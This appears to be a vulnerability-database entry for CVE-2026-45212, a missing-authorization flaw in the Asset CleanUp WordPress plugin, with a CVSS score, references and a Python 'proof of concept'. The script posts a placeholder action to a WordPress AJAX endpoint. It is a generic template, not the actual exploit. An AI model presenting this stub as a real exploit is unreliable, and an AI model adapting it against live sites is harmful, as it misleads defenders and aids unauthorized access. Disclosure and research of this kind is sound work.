CVE-2026-45212

Description

Missing Authorization vulnerability in Gabe Livan Asset CleanUp: Page Speed Booster wp-asset-clean-up allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Asset CleanUp: Page Speed Booster: from n/a through <= 1.4.0.3.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Asset CleanUp: Page Speed Booster <= 1.4.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-45212 Proof of Concept
# Target: Asset CleanUp: Page Speed Booster <= 1.4.0.3
# Description: Exploits missing authorization to perform unauthorized actions.

target_url = "http://example.com/wp-admin/admin-ajax.php"

# The specific 'action' parameter depends on the vulnerable endpoint disclosed in technical details
payload = {
    "action": "wp_asset_cleanup_unauthorized_action", 
    "data": "exploit_data"
}

try:
    response = requests.post(target_url, data=payload, timeout=10)
    if response.status_code == 200:
        print("[+] Potential vulnerability triggered. Check response.")
        print(response.text[:200])
    else:
        print("[-] Request failed or denied.")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45212
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45212
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45212/
[4] VulDB https://vuldb.com/cve/CVE-2026-45212
[5] https://patchstack.com/database/Wordpress/Plugin/wp-asset-clean-up/vulnerability/wordpress-asset-cleanup-page-speed-booster-plugin-1-4-0-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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